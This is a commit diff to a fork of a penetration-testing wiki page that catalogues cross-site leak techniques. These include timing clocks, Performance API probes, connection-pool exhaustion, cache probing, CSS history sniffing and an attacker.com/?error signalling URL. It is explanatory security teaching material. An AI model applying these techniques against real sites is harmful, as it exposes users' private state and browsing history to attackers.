coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

GitBook: [#3291] No subject

Browse Source
This commit is contained in:
CPol 2022-06-28 15:48:43 +00:00 committed by gitbook-bot
parent 01b17a9ec2
commit ccb2f72f8b
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
1 changed files with 237 additions and 254 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

491
pentesting-web/xs-search.md
View File

@ -24,7 +24,7 @@ There are different elements in this kind of attack:
* **Vulnerable Web**: Is the web from where we want to exfiltrate some info
* **Attacker's Web**: Is the web the attacker creates containing the exploit and that the victim access
* **Inclusion Method**: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href....)
* **Inclusion Method**: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
* **Leak Technique**: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
* **States**: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
* **Detectable Differences**: This is the information the attacker has to try to decide the status of the vulenrable web
@ -38,6 +38,7 @@ In order to distinguish between the 2 states of the vulnerable page several thin
* **Redirects**. It is possible to detect if a web application has **navigated the user to a different page**. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
* **Page Content**. These detectable **differences appear in the HTTP response body** itself or in sub-resources included by the page. For example, this could be the **number of included frames** (cf. XS-Leak on Gitlab) or size differences of images.
* **HTTP Header**. An attacker can detect the presence of a **specific HTTP response header** and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
* **Timing**: An attacker can detect that a consistent time difference exists between 2 states.
### Inclusion Methods
@ -55,9 +56,22 @@ In order to distinguish between the 2 states of the vulnerable page several thin
* **Performance API**. The Performance API is used to access the **performance information of the current page**. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw **conclusions about requested resources**. For example, we identified cases where browsers will not create performance entries for some requests.
* **Readable Attributes**. HTML has several **attributes that are readable cross-origin**. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.
#### **Timing Based techniques**
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser. 
**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others**.**\
****For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## XSinator
Excluded XS-Leaks. We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage \[19] or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
You can access the tool in [https://xsinator.com/](https://xsinator.com/)
{% hint style="warning" %}
**Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
{% endhint %}
## Event Handler Techniques
@ -65,7 +79,7 @@ Excluded XS-Leaks. We had to exclude XS-Leaks that rely on service workers as th
* **Inclusion Methods**: Frames, HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)
* **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Summary**: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code.
* **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
@ -81,6 +95,51 @@ There is also a script-less version of this attack:
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.
### Onload Timing
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
### unload/beforeunload Timing
* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used.
The [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) and [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) events can be used to measure the time it takes to fetch a resource. This works because **`beforeunload`** is triggered when the browser **requests a new navigation** request, while **`unload`** is triggered when that **navigation actually occurs**. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the **time it took the browser to complete fetching the resource**.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
If a page doesn’t have any [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the `onload` handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribute in the `<iframe>`. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.
### #ID + error + onload
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:&#x20;
* **Summary**: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**.
You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF for example). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL.
For example:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**.
Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed.
### CORB - Onerror
* **Inclusion Methods**: HTML Elements
@ -100,6 +159,15 @@ Check the more information link for more information about the attack.
It's possible to **load a page** inside an **iframe** and use the **`#id_value`** to make the page **focus on the element** of the iframe with indicated if, then if an **`onblur`** signal is triggered, the ID element exists.\
You can perform the same attack with **`portal`** tags.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
Applications often use [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to share information with other origins. Listening to this messages one could find **sensitive info** (potentially if the the `targetOrigin` param is not used). Also, the fact of receiving some message can be **used as an oracle** (you only receive this kind of message if you are logged in).
## Global Limits Techniques
### WebSocket API
@ -122,8 +190,56 @@ This XS-Leak enables an attacker to **detect when a cross-origin page initiates
Because **only one request payment can be active** at the same time, if the target website is using the Payment Request API, any f**urther attempts to show use this API will fail**, and cause a **JavaScript exception**. The attacker can exploit this by **periodically attempting to show the Payment API UI**. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** Measure execution time of a web **** abusing the single-threaded JS event loop.
JavaScript’s concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
{% endhint %}
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** Measure execution time of a web **** locking the event loop of a thread and timing **how long it takes for the event loop to become available again**.&#x20;
One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
{% endhint %}
### Connection Pool
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, **browsers have to impose a limit**. To exploit the existence of this limit, attackers can:
1. Check what the limit of the browser is, for example 256 global sockets.
2. Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
3. Use the 256th socket by performing a request to the target page.
4. Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
## Performance API Techniques
The [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) provides access to performance-related information enhanced by the data from the [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) which provides the timings of network requests such as the duration but when there’s a `Timing-Allow-Origin: *` header sent by the server the transfer size and domain lookup time is also provided.\
This data can be accessed by using [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) or [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) It can also be used to get the execution time using the difference of [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the `performance` object in Chrome.
### Error Leak
* **Inclusion Methods**: Frames, HTML Elements
@ -173,7 +289,7 @@ In SA, it is possible to detect if the XSSAuditor was triggered and thus leak se
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html)
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Summary:** Resource with X-Frame-Options header does not create resource timing entry.
If a page is **not allowed** to be **rendered** in an **iframe** it does **not create a performance entry**. As a result, an attacker can detect the response header **`X-Frame-Options`**.\
@ -225,7 +341,24 @@ In some cases, the **nextHopProtocol entry** can be used as a leak technique. In
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and **cache resources** to create offline web application.\
If a **resource cached** by a **service worker** is accessed via **iframe**, the resource will be **loaded from the service worker cache**.\
To detect if the resource was **loaded from the service worker** cache the **Performance API** can be used.\
This could also be done with a Timing attack (check the paper for more info)
This could also be done with a Timing attack (check the paper for more info).
### Cache
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** Detect if a resource was stored in the cache.
Using the [Performance API](xs-search.md#performance-api) it's possible to check if a resource is cached.\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
### Network Duration
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Summary:** It is possible to retrieve the network duration of a request from the `performance` API.
## Error Messages Technique
@ -264,7 +397,7 @@ The integrity attribute defines a cryptographic hash by which the browser can ve
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html)
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Summary:** Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
An XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\
@ -310,7 +443,17 @@ The CORP header is a relatively new web platform security feature that when set
Check the more information link for more information about the attack.
## &#x20;Readable Attributes Technique
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Summary**: If the Origin header is reflected in the header `Access-Control-Allow-Origin` it's possible to check if a resource is in the cache already.
In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
****Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.
## Readable Attributes Technique
### Fetch Redirect
@ -325,12 +468,12 @@ Submitting a request using the Fetch API with `redirect: "manual"` and other par
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4)
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** COOP protected pages can not be accessed.
An attacker can leak if the Cross-Origin Opener Policy (COOP) header is available within a cross-origin HTTP response.
Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this **header can easily be detected** by trying to read the **`contentWindow` reference**. If a site only deploys **COOP in one state**, this property is **undefined**, **otherwise** it is **defined**.
Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this **header can easily be detected** by trying to read the **`contentWindow` reference**. If a site only deploys **COOP in one state**, this property (`opener`) is **undefined**, **otherwise** it is **defined**.
### URL Max Length
@ -369,6 +512,8 @@ The **History API** allows JavaScript code to manipulate the browser history, wh
Counting the **number of frames in a web** opened via `iframe` or `window.open` might help to identify the **status of the user over that page**.\
Moreover, if the page has always the same number of frames, checking **continuously** the number of frames might help to identify a **pattern** that might leak info.
An example of this technique is that in chrome, a **PDF** can be **detected** with **frame counting** because an `embed` is used internally. There are [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) that allow some control over the content such as `zoom`, `view`, `page`, `toolbar` where this technique could be interesting.
### HTMLElements
* **Inclusion Methods**: HTML Elements
@ -395,6 +540,19 @@ Some HTMLElements will leak some information to cross-origins such as the type o
Web applications may change w**ebsite styling depending on the status of the use**. Cross-origin CSS files can be embedded on the attacker page with the **HTML link element**, and the **rules** will be **applied** to the attacker page. If a page dynamically changes these rules, an attacker can **detect** these **differences** depending on the user state.\
As a leak technique, the attacker can use the `window.getComputedStyle` method to **read CSS** properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.
### CSS History
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Summary:** Detect if the `:visited` style is applied to an URL indicating it was already visited
Using the CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) selector, it’s possible to apply a different style for URLs that have been visited.\
Previously it was possible to use [`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) to detect this difference but now browsers prevent this by always returning values as if the link was visited and limiting what styles can be applied using the selector. \
So, it may be needed to trick the user into clicking an area that the CSS has affected this can be done using [`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode).\
There are also ways to do it without user interaction such as by abusing render timings this works because it takes time to paint links a different color.\
A PoC was provided on a chromium report that works by using multiple links to increase the time difference.
### ContentDocument XFO
* **Inclusion Methods**: Frames
@ -427,50 +585,39 @@ Another way to test for the [`Content-Disposition: attachment`](https://develope
Same technique as the previous one but using `window.open` instead of iframes.
## Time attack
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
**Measuring the time** of a response that search for info, it's possible to leak if the info exists.\
For more info: [https://xsleaks.dev/docs/attacks/xs-search/](https://xsleaks.dev/docs/attacks/xs-search/)
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** Attacker can detect downloads by using iframes. If the iframe is still accessible, the file was downloaded.
**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others**.**\
****For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks/](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)
If a site `example.com` includes a resource from `*.example.com/resource` then that resource will have the **same caching key** as if the resource was directly **requested through top-level navigation**. That is because the caching key is consisted of top-level _eTLD+1_ and frame _eTLD+1_.
### Network Timing
Before accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Network Timing is more significant than Execution Timing for pages with **more backend processing.**
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
Several events can be timed using the mentioned clocks, such as requests, onload and unload events, cross-windows loads...\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/)
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Summary:** It's possible to try to load a resource and about before it's loaded. Depending on if an error is triggered, the resource was or wasn't cached.
### Performance API
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) **** could be combined with _**fetch**_ and _**setTimeout**_ to both detect whether the **resource is cached** and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.
The [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) provides access to performance-related information enhanced by the data from the [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) which provides the timings of network requests such as the duration but when there’s a `Timing-Allow-Origin: *` header sent by the server the transfer size and domain lookup time is also provided.\
This data can be accessed by using [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) or [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) It can also be used to get the execution time using the difference of [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
### Script Pollution
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the `performance` object in Chrome.
* **Inclusion Methods**: HTML Elements (script)
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Summary:** When a **cross-origin script** is included on a page it’s **not directly possible to read** its contents. However, if a script **uses any built-in functions**, it’s possible to **overwrite them** and read their arguments which might **leak valuable information**.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/)
### Service Workers <a href="#service-workers" id="service-workers"></a>
### Execution Timing
Execution Timing is more significant than Network Timing in applications processing and displaying data **within the browse**.\
Note that in an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, an attacker could preload all of the subresources by embedding the page as an `iframe` (forcing the browser to cache the subresources) and then perform a second measurement, which excludes any delay introduced by the retrieval of those subresources.
#### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
JavaScript’s concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
#### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
An attacker could locking the event loop of a thread and timing **how long it takes for the event loop to become available again**. One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
#### Service Workers <a href="#service-workers" id="service-workers"></a>
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Summary:** Measure execution time of a web using service workers.
1. The attacker registers a service worker in one of their domains (attacker.com).
2. In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
@ -478,162 +625,25 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing
4. When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
5. At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
#### jQuery, CSS Selectors & Short-circuit Timing
If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Connection Pool
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, **browsers have to impose a limit**. To exploit the existence of this limit, attackers can:
1. Check what the limit of the browser is, for example 256 global sockets.
2. Block 255255 sockets for a long period of time by performing 255255 requests to different hosts that simply hang the connection
3. Use the 256^{th}256th socket by performing a request to the target page.
4. Perform a 257^{th}257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256^{th}256th socket, which belongs to the target page. This works because the 255255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256^{th}256th socket is directly connected with the time taken to complete the request.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
## Window References
If a page sets its `opener` property to `null` or is using [COOP](https://xsleaks.dev/docs/defenses/opt-in/coop/) protection depending on the users' state, it's possible to check the status of the user.\
For more info: [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
## CSS Tricks
CSS can be used to trick a user into exposing information such as embedded pixel values by making visual changes that are affected by the embed. It could be also used to exfiltrate the history or autocomplete passwords.\
For more info: [https://xsleaks.dev/docs/attacks/css-tricks/](https://xsleaks.dev/docs/attacks/css-tricks/)
## Error Events
When a webpage tries to load an URL if the response has an **error status an** [**error event**](https://developer.mozilla.org/en-US/docs/Web/API/Element/error\_event) **is fired**. This helps to find out things like for example if the current user had access to the requested data.\
For more info: [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
## Onload Events
### Iframe
Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**.
You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF like in the previous situation). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL.
For example:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
